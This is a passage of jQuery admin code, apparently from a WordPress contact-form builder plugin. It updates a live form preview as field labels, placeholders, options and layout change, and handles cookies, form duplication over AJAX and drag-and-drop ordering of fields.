			jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option').not('.removeing').each(function() {
				allvalues += jQuery(this).val() + ";;";
			});

			var fieldID = jQuery(this).parents(".field-multiple-option-list").attr('rel');
			var index = jQuery(this).parent().index();

			var firstval = jQuery(this).parents('.field-multiple-option-list').find('li').eq(0).find('.field-multiple-option').val();
			var secondval = jQuery(this).parents('.field-multiple-option-list').find('li').eq(1).find('.field-multiple-option').val();

			if (jQuery(this).parents('.field-multiple-option-list').hasClass('selectbox')) {
				var allowChange = 1;
				var selectVal = jQuery(this).parents('.fields-options').find('select').val();
				if (selectVal == 'formsInsideAlign') {
					allowChange = 0;
				}
				// jQuery(this).parents('.field-multiple-option-list').find('li').each(function(){
				// 	if(jQuery(this).attr('id')=='defaultSelect'){allowChange=0}
				// });
				if (allowChange != 0) {
					if (index == jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val()) {
						jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val('0');
					}
					if (jQuery(this).parent().index() == 0) {
						jQuery(this).parents('.field-multiple-option-list').find('li').eq(1).find('.set-active').addClass('checked');
						jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] .textholder').val(secondval);
					} else {
						jQuery(this).parents('.field-multiple-option-list').find('li').eq(0).find('.set-active').addClass('checked');
						jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] .textholder').val(firstval);
					}
					jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] select').find('option').eq(index).remove();
				}
			} else if (jQuery(this).parents('.field-multiple-option-list').hasClass('radio')) {
				if (index == jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val()) {
					jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-active-field').val('0');
					jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] .textholder').val(firstval);
				}
				if (jQuery(this).parent().index() == 0) {
					jQuery(this).parents('.field-multiple-option-list').find('li').eq(1).find('.set-active').addClass('checked');
					var previewradio = jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] ul').find('li').eq(1).find('input[type="radio"]');
					previewradio.attr('checked', 'checked');
				} else {
					jQuery(this).parents('.field-multiple-option-list').find('li').eq(0).find('.set-active').addClass('checked');
					var previewradio = jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] ul').find('li').eq(0).find('input[type="radio"]');
					previewradio.attr('checked', 'checked');
				}
				jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] ul').find('li').eq(index).remove();
			} else {
				jQuery('.hugeit-contact-column-block > div[rel="huge-contact-field-' + fieldID + '"] ul').find('li').eq(index).remove();
			}
			allvalues = allvalues.slice(0, -2);
			jQuery(this).parents(".field-multiple-option-list").find('.field-multiple-option-all-values').val(allvalues);
			jQuery(this).parent().addClass("checked");
			var allowChange = 1;
			var selectVal = jQuery(this).parents('.fields-options').find('select').val();
			if (selectVal == 'formsInsideAlign') {
				allowChange = 0;
			}
			if (allowChange != 0) {
				jQuery(this).parent().remove();
			}
			return false;
		}
	});


	jQuery("#fields-list-block").on('change keyup', '.fields-list .fields-options .field-columns-count', function() {
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var liwidth = 100 / parseInt(jQuery(this).val());
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] ul li').css({'width': liwidth + '%'});
	});


	/*##########ONCHANGE############*/
	jQuery('.hugeit_contact_top_tabs>li').on('keyup', 'input.text_area', function() {
		var titleVal = jQuery(this).val();
		jQuery('.text_area_title').val(titleVal);
	});
	jQuery('.text_area_title').on('keyup', function() {
		var titleVal = jQuery(this).val();
		jQuery('.hugeit_contact_top_tabs input.text_area').val(titleVal);
	});
	jQuery('.hugeItTitleOverlay').click(function() {
		jQuery('.text_area_title').focus();
	});

	jQuery('#fields-list-block > ul').on({
		mouseenter: function() {
			var fieldid = jQuery(this).attr('id');
			jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').addClass('hover-active');
			jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').find('span.hugeOverlay').css('display', 'block');
		},
		mouseleave: function() {
			var fieldid = jQuery(this).attr('id');
			jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').removeClass('hover-active');
			jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').find('span.hugeOverlay').css('display', 'none');
		}
	}, "li");
	jQuery('#hugeit-contact-wrapper .hugeit-contact-column-block').on({
		mouseenter: function() {
			var fieldid = jQuery(this).attr('rel');
			jQuery(this).find('span.hugeOverlay').css('display', 'block')
			jQuery('#fields-list-block > ul > li[id="' + fieldid + '"]').addClass('border-active');
		},
		mouseleave: function() {
			var fieldid = jQuery(this).attr('rel');
			jQuery('#fields-list-block > ul > li[id="' + fieldid + '"]').removeClass('border-active');
			jQuery(this).find('span.hugeOverlay').css('display', 'none')
		}
	}, "div.hugeit-field-block");

	//Label Change Code
	jQuery('#fields-list-block').on('keyup change', 'input.label', function() {
		if (jQuery(this).parents('.fields-options').find('select#form_label_position').val() == 'formsInsideAlign') {
			var toChange = jQuery(this).parents('.fields-options').find('input.label').val();
			jQuery(this).parents('.fields-options').find('input.placeholder').attr('value', toChange);
			jQuery(this).parents('.fields-options').find('li#defaultSelect>input').attr('value', toChange);
			var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
			var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input');
			var previewfieldtextarea = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block textarea');
			previewfield.attr("placeholder", toChange);
			previewfield.attr("value", toChange);
			previewfieldtextarea.attr("placeholder", toChange);
			var allvalues = '';
			jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option').each(function() {
				allvalues += jQuery(this).val() + ";;";
			});
			allvalues = allvalues.slice(0, -2);
			jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option-all-values').val(allvalues);
		}
		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		if (value != '') {
			jQuery(this).parents('.fields-options').parent().find('h4').html(value);
		} else {
			var defLabel = jQuery(this).parents('.fields-options').parent().find('input.left-right-position').attr('fileType');
			jQuery(this).parents('.fields-options').parent().find('h4').html(defLabel);
		}
		var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] label').not('.secondary-label');
		var addstar = "";
		if (previewfield.find('.required-star').length > 0) {
			addstar = '<em class="required-star">*</em>';
		}
		previewfield.html(value + addstar);
	});

	jQuery('#fields-list-block').on('keyup change', 'li#defaultSelect>input', function() {
		var toChange = jQuery(this).val();
		jQuery(this).parents('.fields-options').find('input.label').attr('value', toChange);
		jQuery(this).parents('.fields-options').parent().find('h4').html(toChange);
	});

	//Required Fields Onchange Code
	jQuery('#fields-list-block').on('keypress keyup change', '.required', function() {
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] label').not('.secondary-label');
		if (jQuery(this).is(':checked')) {
			previewfield.append('<em class="required-star">*</em>');
		} else {
			previewfield.find('.required-star').remove();
		}
	});

	jQuery('#fields-list-block').on('keypress keyup change', 'select#form_label_position', function() {
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var currentClass = jQuery(this).val();
		var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] label');
		var previewfield2 = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] div.field-block');
		//debugger;
		if (currentClass == 'formsAboveAlign' || currentClass == 'formsInsideAlign') {
			if (currentClass == 'formsInsideAlign') {
				var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
				var checkSelect = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] > div');
				var label = jQuery(this).parents('.fields-options').find('input.label').val();
				if (checkSelect.hasClass('selectbox-block')) {
					jQuery(this).parents(".fields-options").find('.field-multiple-option-list li').each(function() {
						if (jQuery(this).find('div.set-active').hasClass('checked')) {
							jQuery(this).find('div.set-active').removeClass('checked');
						}
					});
					var previewselect2 = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').find('select');
					previewselect2.prepend('<option class="selectDefault" disabled>' + label + '</options>');
					jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] select').find('option').each(function() {
						if (jQuery(this).attr('selected') == 'selected') {
							jQuery(this).removeAttr('selected');
						}

					})

					jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] select').find('option').each(function() {
						if (jQuery(this).hasClass('selectDefault')) {
							var secondval = jQuery(this).parents('.fields-options').find('.field-multiple-option-list li').eq(0).find('.field-multiple-option').val();
							jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .textholder').val(label);
							jQuery(this).attr('selected', 'selected');
						}
					})
					jQuery(this).parents('.fields-options').find('ul.selectbox').prepend('<li id="defaultSelect"><input class="field-multiple-option" type="text" name="fieldoption' + fieldid + '" value="' + label + '" /><div class="set-active checked"><input type="radio" name="options_active_' + fieldid + '" value="' + label + '" /></div><a href="#remove" class="remove-field-option">remove</a></li>');
					jQuery(this).parents('.fields-options').find('ul.selectbox').find('input.field-multiple-option-active-field').attr('value', '0');
					var allvalues = '';
					jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option').each(function() {
						allvalues += jQuery(this).val() + ";;";
					});
					allvalues = allvalues.slice(0, -2);
					jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option-all-values').val(allvalues);
					previewfield.addClass(currentClass);
					previewfield2.addClass(currentClass);
					return false;
				} else {
					jQuery(this).parents('.fields-options').find('input.placeholder').attr('value', label);
					var toChangepreviewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input');
					var toChangepreviewfieldtextarea = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block textarea');
					toChangepreviewfield.attr("placeholder", label);
					toChangepreviewfieldtextarea.attr("placeholder", label);
				}
			} else {
				var checkSelect = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] > div');
				var previewselect2 = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').find('select option');
				previewselect2.each(function() {
					if (jQuery(this).hasClass('selectDefault')) {
						var previewselect2 = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').find('select');
						previewselect2.find('option.selectDefault').remove();

					}
				});
				jQuery(this).parents('.fields-options').find('ul.selectbox li#defaultSelect').remove();
				var secondval = jQuery(this).parents('.fields-options').find('.field-multiple-option-list li').eq(0).find('.field-multiple-option').val();
				jQuery(this).parents('.fields-options').find('.field-multiple-option-list li').eq(0).find('.set-active').addClass('checked');
				jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .textholder').val(secondval);
				var oldvalue = jQuery(this).parents('.fields-options').find('input.placeholder').attr('oldvalue');
				jQuery(this).parents('.fields-options').find('input.placeholder').attr('value', oldvalue);
				var toChangepreviewfieldFile = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] input.textholder');
				toChangepreviewfieldFile.attr('placeholder', '')
				var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
				var toChangepreviewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input');
				var toChangepreviewfieldArea = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block textarea');
				toChangepreviewfield.attr('placeholder', oldvalue);
				toChangepreviewfieldArea.attr('placeholder', oldvalue);
				var allvalues = '';
				jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option').each(function() {
					allvalues += jQuery(this).val() + ";;";
				});
				allvalues = allvalues.slice(0, -2);
				jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option-all-values').val(allvalues);
			}
			if (previewfield2.hasClass('formsAboveAlign')) {
				previewfield2.removeClass('formsAboveAlign')
			}
			if (previewfield2.hasClass('formsInsideAlign')) {
				previewfield2.removeClass('formsInsideAlign')
			}

			previewfield.addClass(currentClass);
			previewfield2.addClass(currentClass);
		} else {
			var previewselect2 = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"]').find('select');
			previewselect2.find('option.selectDefault').remove();
			jQuery(this).parents('.fields-options').find('ul.selectbox li#defaultSelect').remove();
			var secondval = jQuery(this).parents('.fields-options').find('.field-multiple-option-list li').eq(0).find('.field-multiple-option').val();
			jQuery(this).parents('.fields-options').find('.field-multiple-option-list li').eq(0).find('.set-active').addClass('checked');
			jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .textholder').val(secondval);
			var oldvalue = jQuery(this).parents('.fields-options').find('input.placeholder').attr('oldvalue');
			jQuery(this).parents('.fields-options').find('input.placeholder').attr('value', oldvalue);
			var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
			var toChangepreviewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input');
			var toChangepreviewfieldFile = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] input.textholder');
			toChangepreviewfieldFile.attr('placeholder', '')
			toChangepreviewfield.attr('placeholder', oldvalue);

			if(previewfield2.closest('.hugeit-field-block').hasClass('simple-captcha-block')){
				var is_simple_captcha=true;
			}
			else{
				if (previewfield2.hasClass('formsAboveAlign')) {
					previewfield2.removeClass('formsAboveAlign')
				}
				if (previewfield2.hasClass('formsInsideAlign')) {
					previewfield2.removeClass('formsInsideAlign')
				}
				var is_simple_captcha=false;
			}







			var allvalues = '';
			jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option').each(function() {
				allvalues += jQuery(this).val() + ";;";
			});
			allvalues = allvalues.slice(0, -2);
			jQuery(this).parents(".fields-options").find('.field-multiple-option-list .field-multiple-option-all-values').val(allvalues);
		}
		if(!is_simple_captcha){
			previewfield.removeClass();
			previewfield.addClass(currentClass);
		}
		else{
			previewfield.closest('.hugeit-field-block').removeClass('text-right').removeClass('text-left');
			if(currentClass=='formsLeftAlign'){
				previewfield.closest('.hugeit-field-block').addClass('text-left');
			}
			else{
				previewfield.closest('.hugeit-field-block').addClass('text-right');
			}

		}

	});
    jQuery('#fields-list-block').on('keypress keyup change', 'input[type=color]', function(){
        jQuery(this).siblings('input.color').val(jQuery(this).val());
    });

    jQuery('#fields-list-block').on('keypress keyup change', 'input.default-custom[type=radio]', function() {
        if(jQuery(this).val()=='default'){
            jQuery(this).siblings('input.custom-option').prop('disabled',true);
        }
        else{
            jQuery(this).siblings('input.custom-option').prop('disabled',false);
        }
    });





	jQuery('#fields-list-block').on('keypress keyup change', '.fieldisactive', function() {
            var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
            var previewfieldtextarea = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] textarea');
            var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input');
            if (jQuery(this).is(':checked')) {
                previewfield.removeAttr("disabled");
                previewfieldtextarea.removeAttr("disabled");
            } else {
                previewfield.attr("disabled", "disabled");
                previewfieldtextarea.attr("disabled", "disabled");
            }
	});

	jQuery('#fields-list-block').on('keypress keyup change', '.placeholder', function() {
		if (jQuery(this).parents('.fields-options').find('select#form_label_position').val() == 'formsInsideAlign') {
			var toChange = jQuery(this).parents('.fields-options').find('input.placeholder').val();
			jQuery(this).parents('.fields-options').find('input.label').attr('value', toChange);
			var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
			var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] label').not('.secondary-label');
			jQuery(this).parents('.fields-options').parent().find('h4').html(toChange);
			previewfield.html(toChange);
		}
		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input');
		var previewfieldtextarea = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block textarea');
		previewfield.attr("placeholder", value);
		previewfieldtextarea.attr("placeholder", value);
	});


	jQuery('#fields-list-block').on('change keyup', '.textbox_file_type input', function() {
		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block > input').prop('type', value);
	});


	jQuery('#fields-list-block').on('change keyup', '.textarea-resize', function() {
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var textarea = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] textarea').not('.secondary-label');
		if (jQuery(this).is(':checked')) {
			textarea.css({'resize': 'vertical'});
		} else {
			textarea.css({'resize': 'none'});
		}
	});

	jQuery('#fields-list-block').on('change keyup', '.textarea-size', function() {
		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var textarea = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] textarea');
		textarea.css({"height": value});
	});


	jQuery('#fields-list-block').on('keypress keyup', '.submitbutton', function() {
		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var submitbutton = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] button[type="submit"]');
		submitbutton.html(value);
	});

	jQuery('#fields-list-block').on('keypress', '.resetbutton', function() {
		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var resetbutton = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] button[type="reset"]');
		resetbutton.html(value);
	});

	jQuery('#fields-list-block').on('change keyup', '.showresetbutton', function() {
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var resetbutton = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] button[type="reset"]');
		if (jQuery(this).is(':checked')) {
			resetbutton.css({'display': 'inline-block'});
		} else {
			resetbutton.css({'display': 'none'});
		}
	});

	if (jQuery('select[id="form_checkbox_size"]').val() != 'go_to_url') {
		jQuery('div[id="go_to_url_field"]').hide();
	} else {
		jQuery('div[id="go_to_url_field"]').show();
	}
	jQuery('#fields-list-block').on('change', '.hugeit_contact_captcha_theme', function() {
		var position = jQuery('#fields-list-block .captcha_position').val();
		if (position == '1') {
			position = "right";
		} else {
			position = "left";
		}
		if (jQuery(this).val() == 'light') {
			jQuery('#democaptchadark').css({'display': 'none', 'float': position});
			jQuery('#democaptchalight').css({'display': 'block', 'float': position});
		} else {
			jQuery('#democaptchalight').css({'display': 'none', 'float': position});
			jQuery('#democaptchadark').css({'display': 'block', 'float': position});
		}
	});
	jQuery('#fields-list-block').on('change', '.captcha_position', function() {
		if (jQuery('#fields-list-block .hugeit_contact_captcha_theme').val() == 'light') {
			if (jQuery(this).val() == '2') {
				jQuery('#democaptchalight').css({'display': 'block', 'float': 'left'});
			} else {
				jQuery('#democaptchalight').css({'display': 'block', 'float': 'right'});
			}
		} else {
			if (jQuery(this).val() == '2') {
				jQuery('#democaptchadark').css({'display': 'block', 'float': 'left'});
			} else {
				jQuery('#democaptchadark').css({'display': 'block', 'float': 'right'});
			}
		}
	});
	jQuery('#fields-list-block').on('change', 'select[id="form_checkbox_size"]', function() {

		if (jQuery(this).val() != 'go_to_url') {
			jQuery('div[id="go_to_url_field"]').hide();
		} else {
			jQuery('div[id="go_to_url_field"]').show();
		}
	});
	//Ready to Go Onchange//
	jQuery('#fields-list-block').on('keypress keyup change', 'select#ready_form_label_position', function() {

		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var currentClass = jQuery(this).val();
		var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] label');
		var previewfield2 = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] div.field-block');
		var fieldtype = jQuery(this).parents('.fields-options').parent().find('input.left-right-position').attr('filetype');
		if (fieldtype == 'nameSurname') {
			if (previewfield2.hasClass('formsAboveAlign')) {
				previewfield2.removeClass('formsAboveAlign')
			}
			if (previewfield2.hasClass('formsLeftAlign')) {
				previewfield2.removeClass('formsLeftAlign')
			}
			if (previewfield2.hasClass('formsRightAlign')) {
				previewfield2.removeClass('formsRightAlign')
			}
			if (previewfield2.hasClass('formsLabelHide')) {
				previewfield2.removeClass('formsLabelHide')
			}
			previewfield.removeClass();
			previewfield.addClass(currentClass);
			previewfield2.addClass(currentClass);
		}
	});
	jQuery('#fields-list-block').on('keypress keyup change', '.placeholderName', function() {

		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input.pl_name');
		previewfield.attr("placeholder", value);
	});
	jQuery('#fields-list-block').on('keypress keyup change', '.placeholderSur', function() {

		var value = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var previewfield = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block input.pl_surname');
		previewfield.attr("placeholder", value);
	});
	jQuery('#fields-list-block').on('keypress keyup change', 'select.country-list', function() {

		var codeName = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var numCode = jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block ul.country-list').find('li[data-country-code="' + codeName + '"]').attr('data-dial-code');
		numCode = '+' + numCode;
		var plToReplace = jQuery(this).parents('.fields-options').find('input.placeholder').val();
		plToReplace = plToReplace.replace(/(\+\d*)/, numCode)
		jQuery(this).parents('.fields-options').find('input.placeholder').val(plToReplace);
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block div.selected-flag').click();
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .field-block ul.country-list').find('li[data-country-code="' + codeName + '"]').click();
	});
	jQuery('#fields-list-block').on('keypress keyup change', 'input.linkName', function() {

		var codeName = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .license-block').find('span.sublable a').text(codeName);
	});
	jQuery('#fields-list-block').on('keypress keyup change', 'input.linkUrl', function() {

		var url = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .license-block').find('span.sublable a').attr('href', url);
	});
	jQuery('#fields-list-block').on('keypress keyup change', 'textarea.fieldContent', function() {

		var fieldContent = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		var linkName = jQuery(this).parents('.fields-options').find('input.linkName').val();
		var linkUrl = jQuery(this).parents('.fields-options').find('input.linkUrl').val();
		fieldContent = fieldContent.replace(/{link}/, '<a target="_blank" href="' + linkUrl + '">' + linkName + '</a> ');
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .license-block').find('span.sublable').html(fieldContent);
	});
	jQuery('#fields-list-block').on('keypress keyup change', 'select.fieldPos', function() {
		var position = jQuery(this).val();
		var fieldid = jQuery(this).parents('.fields-options').parent().attr('id');
		jQuery('.hugeit-contact-column-block > div[rel="' + fieldid + '"] .license-block').css('text-align', position)
	});
	//Ready to Go Onchange//
	/*edit field*/
	jQuery('#hugeit-contact-wrapper').on('click tap', '.hugeit-field-block>label', function(e) {
		e.preventDefault();
	});
	jQuery('#hugeit-contact-wrapper').on('click tap', '.hugeit-field-block', function() {
		var fieldID = jQuery(this).attr('rel');
		jQuery('#fields-list-block').find('li#' + fieldID + ' .field-top-options-block a.open-close').click();
	});
	jQuery('#hugeit-contact-wrapper').on('click tap', '.hugeit-field-block .flag-container', function() {
		return false;
	});
	/*edit field*/
	/*FRONT END PREVIEW */

	jQuery(".hugeit-contact-column-block input[type='file']").on('change keyup', function() {
		var value = jQuery(this).val().substr(jQuery(this).val().indexOf('fakepath') + 9);
		jQuery(this).parent().find('input[type="text"]').val(value);
	});

	jQuery(".hugeit-contact-column-block select").on('change keyup', function() {
		jQuery(this).prev('.textholder').val(jQuery(this).val());
	});

	jQuery.fn.ForceNumericOnly = function() {
		return this.each(function() {
			jQuery(this).keydown(function(e) {
				var key = e.charCode || e.keyCode || 0;
				// allow backspace, tab, delete, enter, arrows, numbers and keypad numbers ONLY
				// home, end, period, and numpad decimal
				return (
				key == 8 ||
				key == 9 ||
				key == 13 ||
				key == 32 ||
				key == 46 ||
				key == 110 ||
				key == 190 ||
				(key >= 35 && key <= 40) ||
				(key >= 48 && key <= 57) ||
				(key >= 96 && key <= 105));
			});
		});
	};


	/*STYLE OPTIONS*/

	jQuery('#form_wrapper_background_type').on('change keyup', function() {

		if (jQuery(this).val() == 'gradient') {
			jQuery('.form_first_background_color').addClass('half');
			jQuery('.form_second_background_color').removeClass('none')
		} else {
			jQuery('.form_second_background_color').addClass('none');
			jQuery('.form_first_background_color').removeClass('half');
		}
	});

	jQuery('.form_background_color').on('change keyup', function() {
		var bgcolor = jQuery('.form_first_background_color').val() + ',' + jQuery('.form_second_background_color').val();
		jQuery('#form_wrapper_background_color').val(bgcolor);
	});

	jQuery('.hugeit_forms_delete_form').on('click', function() {
		var c = confirm('Are you sure you want to delete this form ?');

		if (!c) {
			return false;
		}
	});

	jQuery('.hugeit_contact_duplicate_form').on('click', function(e) {
		e.preventDefault();

		var id = jQuery(this).data('form-id'),
			nonce = jQuery(this).data('nonce');

		jQuery.ajax({
			url: ajaxurl,
			dataType: 'JSON',
			type: 'POST',
			data: {
				action: 'hugeit_contact_duplicate_form',
				nonce: nonce,
				id: id
			}
		}).done(function(response) {
			if (response.success) {
				location.reload();
			}
		})
	});


	jQuery(".close_free_banner").on("click",function(){
		jQuery(".free_version_banner").css("display","none");
		HugeitContactSetCookie( 'hgFormsFreeBannerShow', 'no', {expires:86400} );
	});
	defaultTitleVisibility = jQuery('#hugeit-contact-wrapper').find('h3').css('display');

	jQuery('#select_form_show_title').on('change', function() {
		switch (jQuery(this).val()) {
			case 'yes' :
				jQuery('#hugeit-contact-wrapper').find('h3').css('display', 'block');
				break;
			case 'no' :
				jQuery('#hugeit-contact-wrapper').find('h3').css('display', 'none');
				break;
			case 'default' :
				jQuery('#hugeit-contact-wrapper').find('h3').css('display', defaultTitleVisibility);
		}
	});

    //Reply To User
    jQuery("#reply_to_user").on("change",function () {
        if(jQuery(this).is(":checked")){
            jQuery("#form_adminstrator_user_mail").attr('readonly','readonly');
        }
        else {
            jQuery("#form_adminstrator_user_mail").removeAttr("readonly");
        }
    });
//Reply To User

    jQuery(".custom_css_save").on("click",function () {
        window.onbeforeunload=null;
    });

});

function HugeitContactSetCookie(name, value, options) {
	options = options || {};

	var expires = options.expires;

	if (typeof expires == "number" && expires) {
		var d = new Date();
		d.setTime(d.getTime() + expires * 1000);
		expires = options.expires = d;
	}
	if (expires && expires.toUTCString) {
		options.expires = expires.toUTCString();
	}


	if(typeof value == "object"){
		value = JSON.stringify(value);
	}
	value = encodeURIComponent(value);
	var updatedCookie = name + "=" + value;

	for (var propName in options) {
		updatedCookie += "; " + propName;
		var propValue = options[propName];
		if (propValue !== true) {
			updatedCookie += "=" + propValue;
		}
	}

	document.cookie = updatedCookie;
}

// drag and drop functionality //
var checkAnimate;
jQuery(function() {
	jQuery(".hugeit-contact-column-block").sortable({
		placeholder: 'ui_custom_pl',
		cancel: '',
		start: function(e, ui) {
			ui.placeholder.height(ui.item.height());
			ui.helper.find('select').addClass('openedSelect');
			ui.helper.css({'width': '90%', 'z-index': '9999'});
			if (jQuery("#fields-list-right li").length > 0) {
				checkAnimate = true;
			} else {
				var hieghtOfColumn = jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-left").height();
				var res = (hieghtOfColumn - 116) / 2;
				jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-left").animate({'width': "70%"}, 500);
				jQuery("#hugeit-contact-wrapper  div.hugeit-contact-block-right").animate({
					'width': "23%",
					'min-width': "23%"
				}, 500, function() {
					jQuery(this).css('background-position', 'center 5px')
				});
				checkAnimate = false;
			}
		},
		connectWith: ".hugeit-contact-column-block",
		stop: function(e, ui) {
			var leftelement = [];
			var rightelement = [];
			jQuery(".hugeit-contact-block-left > div").each(function() {
				leftelement.push(jQuery('.fields-list li[id="' + jQuery(this).attr('rel') + '"]'));
				jQuery(this).find('.left-right-position').val('left');
			});

			jQuery(".hugeit-contact-block-right > div").each(function() {
				rightelement.push(jQuery('.fields-list li[id="' + jQuery(this).attr('rel') + '"]'));
				jQuery(this).find('.left-right-position').val('right');
			});

			jQuery('#fields-list-left').html(leftelement);
			jQuery('#fields-list-right').html(rightelement);

			var i = 0;
			jQuery("#fields-list-right > li").each(function() {
				jQuery(this).find('.ordering').val(i);
				i++;
				if (jQuery(this).attr('data-fieldType') == 'custom_text') {
					var i, t = tinyMCE.editors;
					for (i in t) {
						if (t.hasOwnProperty(i)) {
							t[i].remove();
						}
					}
					jQuery(this).find('button.switch-html').click();
				}
			});

			var i = 0;
			jQuery("#fields-list-left > li").each(function() {
				jQuery(this).find('.ordering').val(i);
				i++;
				if (jQuery(this).attr('data-fieldType') == 'custom_text') {
					var i, t = tinyMCE.editors;
					for (i in t) {
						if (t.hasOwnProperty(i)) {
							t[i].remove();
						}
					}
					jQuery(this).find('button.switch-html').click();
				}
			});

			var j = 0;
			jQuery(".hugeit-contact-block-left > div.hugeit-field-block").each(function() {
				jQuery(this).find('input.ordering').val(j);
				j++;
			});

			var k = 0;
			jQuery(".hugeit-contact-block-right > div.hugeit-field-block").each(function() {
				jQuery(this).find('input.ordering').val(k);
				k++;
			});

